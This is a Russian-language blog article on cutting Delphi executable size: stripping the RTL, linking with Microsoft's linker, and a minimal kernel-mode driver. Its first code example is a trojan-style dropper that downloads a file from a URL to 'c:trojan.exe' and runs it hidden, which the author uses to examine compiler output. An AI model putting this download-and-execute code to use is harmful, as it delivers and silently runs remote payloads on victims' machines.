Выжимаем из Delphi все возможное

автор | 21 Декабрь, 2008
рубрики Статьи Комментарии к записи Выжимаем из Delphi все возможное отключены

Ты пишешь на Delphi, но тебе не нравиться размер проги в 400 кб? Ничего, можно и до 850 байт сократить...

Вступление

В кругах низкоуровневых программистов существует устоявшееся мнение о том, что Delphi полный остой, так как не годится для системного программирования. Обьясняют это обычно тем, что компилятор генерирует медленный и большой код, а средний размер пустой формы с кнопкой — 400 килобайт. Обычно этим аргументация обычно и заканчивается (иногда просто говорят что дельфи дерьмо вообще без всякой аргументации). На форумах существуют «священные» войны между поклонниками С++ и Delphi, где каждый доказывает что его любимый язык лучше. Поклонники С++ обычно кричат про супернавороченный синтаксис и мошьные возможности ООП (при этом утверждая, что в системном программировании все это незаменимо!), а поклонники Delphi опять же кричат про те возможности ООП которых нет в С++ да и еще про то, что на дельфи все пишется куда проще. Мо моему мнению — это просто крики ламеров, так как по их словам можно заключить, что ни та ни другая сторона обычно ни про Delphi ни про C++ ничего толком не знает.
Эта статья будет посвящена приемам системного программирования на Delphi, тут мы будем делать на дельфи то, что многие считают невозможным. Эта статья для тех, кто пишет программы на Delphi и при этом хочет добиться максимальной эффективности кода, но не боится вложить в это определенный труд. По оптимизации кода в С++ написано весьма немало статей, а про оптимизацию в Delphi хороших статей просто нет. Видно все считают — что никакая оптимизация здесь не нужна. Тем, кого устраивает 400 килобайтный размер пустой формы с кнопкой статью читать я не рекомендую (все равно толку то...), а тем кто упорно отстаивает мнение о ненужности дельфи лучше тоже не читать, чтобы не расстраивать нервы и не развеивать священные заблуждения.
Немного о генерируемом компилятором коде

Для начала следует проверить удтверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого я напишем функцию скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах), писать будем естественно с применением API. Вот что у меня получилось:

procedure DownloadAndExecute (Source: PChar); stdcall;
const
DestFile = 'c:trojan.exe';
begin
UrlDownloadToFile (nil, Source, DestFile, 0, nil);
WinExec (DestFile, SW_HIDE);
end;
Этот код я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированый листинг:

DownloadAndExecute proc near

Source = dword ptr 8

push ebp
mov ebp, esp
push 0 ; LPBINDSTATUSCALLBACK
push 0 ; DWORD
push offset DestFile ; LPCSTR
mov eax, [ebp+Source]
push eax ; LPCSTR
push 0 ; LPUNKNOWN
call URLDownloadToFileA
push 0 ; uCmdShow
push offset DestFile ; lpCmdLine
call WinExec
pop ebp
retn 4
DownloadAndExecute endp

DestFile db 'c:trojan.exe',0

Ну и где же куча лишнего кода о котором некоторые так любят говорить? Все просто и красиво. Из этого можно сделать вывод, что компилятор гнерирует вполне приличный код, размер которого весьма невелик. То что сгенерировал компилятор весьма похоже на аналогичный код написанный вручную на ассемблере. Тем более, некоторые люди не знающие ассемблера, но пытающиеся что-то на нем писать иногда такое выдают, что любые ошибки компилятора покажутся мелочью :). Так почему программы написанные на дельфи такие большие? Откуда все-таки берется лишний код, если компилятор его не генерирует. Сейчас мы разберем этот вопрос подробнее.

ООП — двигатель прогреса

ООП — весьма модное в настоящее время направление развития индустрии программирования. Цель ООП — упростить написание программ и сократить сроки их разработки, и несомненно с этой целью ООП прекрасно справляется. Большинство программистов пишущих на С++ или Delphi прикладные приложения, не мыслят даже о самой возможности программирования без ООП. Если ты относишся к их группе, то немедленно бросай читать статью, так как она не для тебя.
Взглянем на ООП глазами системного программитса. ООП дает простоту написания, это плюс, но у него есть и обратная сторона — это качество генерируемого кода. Допустим, у нас есть класс который наследуется от другого класса. При создании обьекта этого класса компилятор будет вынужден включить в его состав также код родительского класса полностью, так как нет возможности определить, какие методы классов использоваться не будут. А если у нас будет целое дерево наследования классов (как это обычно и бывает в реальных программах), то код этого дерева будет полностью включен в состав программы, и от этого никуда не денешся. Вызов методов класса производится через таблицу, что увеличивает время вызова. А если метод наследуется от родителя в десятом поколении, то и вызов пройдет через десять таблиц, прежде чем достигнет обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность того, что работает.
Хороший пример применения ООП — это библиотека VCL в дельфи. Этот пример в полной мере демонстрирует все достоинства и недостатки ООП. С одной стороны — черезвычайная простота написания программ, с другой — огромнейшее количество мертвого кода и ужасно низкая его производительность.
ООП позволяет писать всякую фигню (обычно связанную с базами данных) за короткое время. Главный принцип — быстрее сдал программы, быстрее получил деньги. Естественно, что в таких условиях о всякой эффективности кода просто забывают. А что? Тормозит? Так пусть клиент купить компьютер помощьнее... Но нам естественно такие результаты не нужны.
Теперь мы нашли источник всех бед, вот она причина большого размера программ написанных на деьфи, это ООП, и в частности VCL. Некоторые прочитав это зададутся вопросом, почему программа написанная на дельфи с применением VCL занимает гораздо больше места, чем программа написаггая на VB, или на VC с применением MFC. Ответ прост — потому, что великая и ужасная фирма Micro$oft приложила к этому свою лапу. MFC и рунтайм библиотеки в VB занимают ничуть не меньше места, просто они скомпилены в DLL и входят в поставку Windows, а значит их код не приходится таскать с собой в программах, а программа на Delphi содержит весь необходимый для своей работы код. В защиту Borland можно сказать то, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку «Build with runtime packages», тогда размер программы значительно уменьшится, но она потребует наличия соответствующих Runtime библиотек. Так как Borland не выпускает Windows, то естественно эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.
Любители ООП желающие разрабатывать программы в визуальном режиме могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом недостатков ООП. Средний размер пустой формы с кнопкой на KOL — 35кб, что уже лучше, но к сожалению для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое, те кто хочет добиться действительно высокой эффективности коды должны принять другое решение — забыть про ООП и все что с ним связано раз и навсегда. Писать программы придется только на чистом API.
Из всего вышесказанного можно сделать вывод, что ООП двигатель прогресса, но с точки зрения

системного программиста ООП двигает прогресс только назад.

Виновник номер два

Создадим в Delphi пустой проект, хаведомо не содержащий никакого полезного кода:
program Sample;

begin

end.

После компиляции в Delphi 7 мы получаем екзешник размером в 13,5 кб. Почему так много? Ведь в программе то ничего нет. Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем полученный экзешник и посмотрим, что собственно он содержит. Точка входа в программу будет выглядеть так:

public start
start:
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov eax, offset ModuleId
call _InitExe
; здесь мог бы быть наш код
call _HandleFinally
CODE ends

Весь лишний код находится функциях _InitExe и _HandleFinally. Связано это с тем, что к каждой Delphi программе неявно подключается код входящий в состав RTL (Run Time Library). RTL нужна для поддержки таких возможностей языка как ООП, работа со строками (string), специфичные для паскаля функции (AssignFile, ReadLn, WriteLn e.t.c.). InitExe выполняет инициализацию всего этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.
Сделано это опять же для упрощения жизни программистам, и применение RTL иногда оправдано, так как может не понизить, а повысить эффективность кода. Например в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. Работа со строками реализована в RTL тоже довольно неплохо с точки зрения производительности генерируемого кода, но с точки зрения увеличения размера файла, RTL — виновник номер два (после ООП).

Уменьшаем размер

Если минимальный размер в 13.5 кб вас не устраивает, то будет убирать Delphi RTL. Весь код RTL находится в двух файлах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное что можно сделать — это удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные DCU файлы положить в папку с программой.
Файл System.pas содержит основной код RTL и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла будет выглядеть так:

unit System;

interface

procedure _HandleFinally;

type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;

PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext;
ExcFrame: Pointer;
InitTable: pointer;
InitCount: Integer;
Module: pointer;
DLLSaveEBP: Pointer;
DLLSaveEBX: Pointer;
DLLSaveESI: Pointer;
DLLSaveEDI: Pointer;
ExitProcessTLS: procedure;
DLLInitState: Byte;
end;

implementation

procedure _HandleFinally;
asm
end;

end.

Описания структуры TGUID компилятор требует в любом случае, и без ее наличия компилировать модуль отказывается. TInitContext понадобиться, если мы будем компилировать DLL, без описания этой структуры линкер собирать DLL отказывается. HandleFinally — процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.
Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Минимальный файл SysInit.pas будет выглядеть так:

unit SysInit;

interface
procedure _InitExe;
procedure _halt0;
procedure _InitLib (Context: PInitContext);

var
ModuleIsLib: Boolean;
TlsIndex: Integer = -1;
TlsLast: Byte;

const
PtrToNil: Pointer = nil;

implementation

procedure _InitLib (Context: PInitContext);
asm
end;

procedure _InitExe;
asm
end;

procedure _halt0;
asm
end;

end.

InitExe — процедура инициализации RTL для EXE файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальное же просто требуется компилятором.
Но те лишние структуры и переменные, которые пришлось оставить в выходной файл включаться не будут и никак не повлияют на его размер. Терерь положим эти два файла в папку с проектом и скомпилируем их из коммандной строки.
dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O
Терерь мы наконец избавились от RTL, попробуем скомпилировать пустой проект, и получаем экзешник размером в 3,5 кб. Откуда взялся такой размер в пустом проекте? Борландовский линкер создает ы исполнимом файле 6 секций, и при выравнивании секций в файле по 512 байт + размер PE заголовка, мы как раз получаем размер в 3.5 кб.
Но в добавок к малому размеру мы получаем определенные неудобства, так как заголовочные файлы на WinAPI идущие с Delphi мы использовать не сможем, вместо них придется писать свои. Но это не трудно, так как описания используемых API можно брать с борландовских хедеров и переносить в свои по мере необходимости. С проблемой увеличения рвзмера можно столкнуться тогда, когда в составе проекта есть несколько PAS файлов. Борландовский линкер в такой ситуации может для выравнивания кода вставлять в файл пустые участки. Чтобы этого избежать — нужно всю программу (включая определения API) помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc файлов. Тут может встретиться еще одна проблема — повторные вставки одного и того же кода (когда несколько inc файлов подключают один и тот же inc), компилятор в таких случаях компилировать откажется. Чтобы этого избежать нужно воспользоваться директивами условной компиляции, полсе чего любой inc файл будет иметь вид:

{$ifndef win32api}
{$define win32api}

// здесь идет наш код

{$endif}

Таким образом можно писать без RTL достаточно сложные программы и забыть о неудобствах.

Можно еще меньше!

Наверняка минимальный размер экзешника в 3.5кб удовлетворит не всех, но если постараться, то можно добиться еще большего уменьшения размера. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от Microsoft. Но к сожадению, здесь нас ждет одна загвоздка. Проблема в том, что основным рабочим форматом мелкософтовского линкера является COFF, но он может понимать и интеловский OMF. Но программисты борланда (видать с целью создать несовместимость с микрософт) в версиях Delphi выше третьей изменили генерируемый формат obj файлов так, что теперь он несовместим с Intel OMF. Тоесть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы способной конвертировать обьектные файлы из формата Brland OMF в COFF или Intel OMF я не нашел. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный Intel OMF обьектный файл. Импорт используемых API нам тоже придется описывать вручную, но его описание несколько отличается. Для начала возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в HEX редакторе. Имена функций библиотеки имеют такой вид: «_MessageBoxA@16», где после @ идет размер передаваемых параметров. Следовательно обьявлять функции мы будем таким образом:

function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;
stdcall; external 'user32.dll' name '_MessageBoxA@16';

Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:

unit HelloWorld;

interface

Procedure Start;

implementation

function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;
stdcall; external 'user32.dll' name '_MessageBoxA@16';

Procedure Start;
begin
MessageBoxA (0, 'Hello world!', nil, 0);
end;

end.

Тип модуля UNIT нужен для того, чтобы компилятор генерировал в обьектном файле символьные имена обьявленных процедур. В нашем случае это будет процедура Start, которая будет являться точкой входа в программу. Теперь компилируем проект следующей строкой:
dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- HelloWorld.pas
После компиляции получим файл HelloWorld.obj, который откроем в HEX редакторе и посмотрим во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец выполним сборку:
link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe
В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:

; Attributes: bp-based frame
; char Text[]
Text db 'Hello world!',0

public start
start proc near
push 0 ; uType
push 0 ; lpCaption
push offset Text ; lpText
push 0 ; hWnd
call MessageBoxA
retn
start endp

Как мы видим — ни одного байта лишнего кода! Я думаю ты покажешь этот пример тем, кто много говорит о большом размере программ написанных на дельфи. По своему опыту знаю, что прикольно бывает наблюдать после этого за их выражением лица :) Хотя самые упорные продолжают говорить а... э..., все равно дерьмо..., но никто не может сказать ничего по существу. Но только самые продвинутые спорщики приводят последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас у них не останется аргументов вообще :).

Пишем драйвер на Delphi

Используя эту методику можно не только писать очень маленькие программы, можно даже сделать то, что раньше считалось невозможным — написать на Delphi драйвер режима ядра. Об этом даже есть статья на RSDN, и всем интересующимся рекомендуу ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.
Файл Driver.pas:

unit Driver;

interface

function DriverEntry (DriverObject, RegistryPath: pointer): integer; stdcall;

implementation

function DbgPrint (Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';

function DriverEntry (DriverObject, RegistryPath: pointer): integer;
begin
DbgPrint ('Hello World!');
Result := -1;
end;

end.

Файл make.bat:
dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- Driver.pas
link.exe /DRIVER /ALIGN:32 /BASE:0×10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sys
Для компиляции нам понадобиться файл ntoskrnl.lib из DDK. После компиляции мы получим драйвер размером 1 кб, который выводит сообщение Hello World в отладочную консоль и возвращает ошибку, а поэтому в памяти не остается, что не требует определения функции DriverUnload. Для запуска драйвера можно использовать KmdManager от Four-F, посмотреть на результаты его работы можно в софтайсе или DbgView.
При наличии некоторых знаний можно писать на Delphi вполне полноценные драйвера. Но здесь есть одна больщая проблема — отсутствие DDK. Для написания драйверов нужны заголовояные файлы на API ядра и описания большого количества системных структур. Все это богатство есть как для С (от Microsoft), так и для MASM32 (от Four-F). Есть слух, что DDK для паскаля уже существует, но его автор продает его за деньги и сильно этот факт не офиширует. Но я думаю, что найдутся энтузиасты, которые перепишут DDK на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров связанных с системным программированием написаны на си, поэтому на каком бы языке вы не писали свои программы, а си знать придется. Это конечно не означает, что придется изучать С++ в полном его обьеме. Для понимания системных программ хватит базовых знаний синтаксиса си, а все остальное используется в только в прикладных програмах которые нас совершенно не интересуют.

Переносимость кода

При программировании на стандартных Delphi компонентах, в добавок к куче недостатков мы получаем еще одно достоинство — некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в Kilix и работать в Linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово (Шедевр Ламерского Искусства), тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам все-таки хочется иметь некоторую независимость от системы. Получить такую независимость очень просто, достаточно писать код не использующий ни API функций ни возможностей языка вообще. Такой код в некоторых случаях писать совершенно невозможно (например в играх), но иногда функции системы абсолютно не нужны (например в математических алгоритмах). В любом случае, следует четко разделять машиннозависимую и машиннонезависимую (если такая есть) части кода. При соблюдении вышеописанных правил машиннонезависимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для PIC контролеров). Независимый от API код можно смело компилировать в DLL и использовать например в драйвере режима ядра. Также такую длл не составит труда использовать и в других ОС, для этого нужно просто посекционно отмапить длл в адресное пространство процесса, настроить релоки и можно смело пользоваться ее функциями. Код на паскале это осуществляющий занимает около 80 строк. Если же DLL все-таки использует некоторые API функции, то их наличие можно проэмулировать, заполнив таблицу импорта DLL адресами заменяющих их функций в своей программе.

Общие приемы оптимизации

Старайся везде, где можно использовать указатели. Никогда не передавай данные в функцию таким образом:
procedure FigZnaet (Data: TStructure);
Всегда передавай указатели на структуры:
procedure FigZnaet (pData: PStructure); где PStructure = ^TStructure;
Такой вызов происходит быстрее и экономит немалое количество кода.
Старайся не пользоватся типом данных sring, вместо него всегда можно использовать Pchar и обрабатывать строки вручную. Если нужен временный буффер для хранения строки, то его следует обьявить в локальных переменных как array of Char. Старайся передавать в функцию не больее трех параметров. Это обьясняется тем, что первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в Delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память, если например у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно обьявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия следует делать повторно, то их нужно вынести в функцию, но тем не менее не стоит делать функции содержащие 2 строчки кода, так как вызов такой функции может занимать куда больше места, чем она сама. И помни главное — эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом, при этом разница в эффективности может составлять сотни раз!

Заключение

Итак, я думаю, что прочитав эту статью ты станешь писать на дельфи весьма маленькие и быстрые программы. Также я думаю, что ты обязательно расскажешь об этом всем, кто в такой возможности сомневается. Пора покончить с мнением, что дельфи дерьмо, и я думаю, ты в это дело вложишь долю своего труда.

Автор: Ms-Rem (MircroSoft REMover) Ms-Rem@yandex.ru

Оценить эту тему:
1 звезда2 звезды3 звезды4 звезды5 звезд (73 голосов, средний: 4,82 из 5)
Loading...Loading...
Популярность: 25 617 просмотров
Вы можете следить за любыми ответами на эту запись через RSS 2.0 feed. Комментарии в настоящее время закрыты.